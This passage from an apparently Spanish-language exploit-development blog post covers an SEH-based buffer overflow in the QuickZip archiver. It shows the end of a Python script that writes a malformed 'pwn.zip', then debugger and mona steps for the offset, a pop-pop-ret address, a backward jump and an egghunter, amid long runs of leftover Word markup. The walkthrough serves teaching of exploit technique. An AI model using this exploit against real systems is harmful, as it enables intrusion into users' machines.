<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x01\x00"<span style="mso-spacerun: yes;"> </span>#total number of entries in the
central directory on this disk (2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x01\x00"<span style="mso-spacerun: yes;"> </span>#total number of entries in the
central directory (2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x12\x10\x00\x00"<span style="mso-spacerun: yes;"> </span>#size of the central directory<span style="mso-spacerun: yes;"> </span>(4 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x02\x10\x00\x00"<span style="mso-spacerun: yes;"> </span>#offset of start of central directory with
respect to the starting disk (4 bytes) number</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00"<span style="mso-spacerun: yes;"> </span>#.zip file comment length<span style="mso-spacerun: yes;"> </span>(2 bytes) (variable size)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">)</span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">buff =
"A" * 4064 + ".txt"</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;"> </span></span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">mefile =
open('pwn.zip','w');</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">mefile.write(local_file_header
+ buff + central_file_header + buff + end_of_central_directory);</span></div>
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">mefile.close()</span><br />
<br />
Abrimos el quickzip con nuestre debugger favorito y
observamos como se trata de un seh based overflow, y que si pasamos la
excepción con shift+f9 sobrescribiramos EIP:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-2g_EDv6DfTw/UW6lLjbCpvI/AAAAAAAAAeM/I0Y7m5IPkM0/s1600/sehchain.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="456" src="http://1.bp.blogspot.com/-2g_EDv6DfTw/UW6lLjbCpvI/AAAAAAAAAeM/I0Y7m5IPkM0/s640/sehchain.png" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-ftFka5SgOrs/UW6ivGrdqaI/AAAAAAAAAd8/BVFbRloTHV4/s1600/eip.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="460" src="http://2.bp.blogspot.com/-ftFka5SgOrs/UW6ivGrdqaI/AAAAAAAAAd8/BVFbRloTHV4/s640/eip.png" width="640" /></a></div>
<br />
<br />
Lo primero que debemos es calcular el offset en el cual
conseguiremos manipular eip a nuestro antijo y como SEH Based overflow que es,
debemos buscar un pop pop retn. Podemos hacerlo con mona así<br />
<br />
Primero creamos el pattern con¡mona pc 4064:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-X9J_SsMwbUw/UW6jXwnb2BI/AAAAAAAAAeI/bQKhis2sjdk/s1600/pattern_create.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="482" src="http://1.bp.blogspot.com/-X9J_SsMwbUw/UW6jXwnb2BI/AAAAAAAAAeI/bQKhis2sjdk/s640/pattern_create.png" width="640" /></a></div>
<br />
<br />
<br />
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]-->Posteriormente buscamos un pop pop ret con ¡mona seh:<br />
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">#pop pop
ret quickzip 00407A33.</span><br />
<span lang="EN-US" style="mso-ansi-language: EN-US;"><br /></span></div>
<div class="MsoNormal">
Una vez que insertamos las instruccion 00407a33 al meter el
nullbyte no nos queda espacio para saltar hacia delente, por lo que tenemos que
saltar hacia atrás:</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-LpTurhhCfzw/UW6ljF24xqI/AAAAAAAAAeU/iojsiAIm7cI/s1600/back1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="458" src="http://1.bp.blogspot.com/-LpTurhhCfzw/UW6ljF24xqI/AAAAAAAAAeU/iojsiAIm7cI/s640/back1.png" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-6DSZuJsiulE/UW6ljN5zCQI/AAAAAAAAAeY/LCNKiQDmxOE/s1600/back2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="476" src="http://3.bp.blogspot.com/-6DSZuJsiulE/UW6ljN5zCQI/AAAAAAAAAeY/LCNKiQDmxOE/s640/back2.png" width="640" /></a></div>
<br /></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--></div>
<br />
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</div>
<div class="MsoNormal">
Como tenemos muy poco espacio solo cabrá un egghunter por lo
que vamos a ver si tenemos por ahí la shellcode en memoria, para ello creamos
una shellcode de prueba con un patrón delante (w00tw00t) como viene siendo
habitual:</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-KVqp4esJTXE/UW6lsFY6T4I/AAAAAAAAAek/tRhZkbL1GlA/s1600/search_shellcode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="432" src="http://4.bp.blogspot.com/-KVqp4esJTXE/UW6lsFY6T4I/AAAAAAAAAek/tRhZkbL1GlA/s640/search_shellcode.png" width="640" /></a></div>
<br />
<br />
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
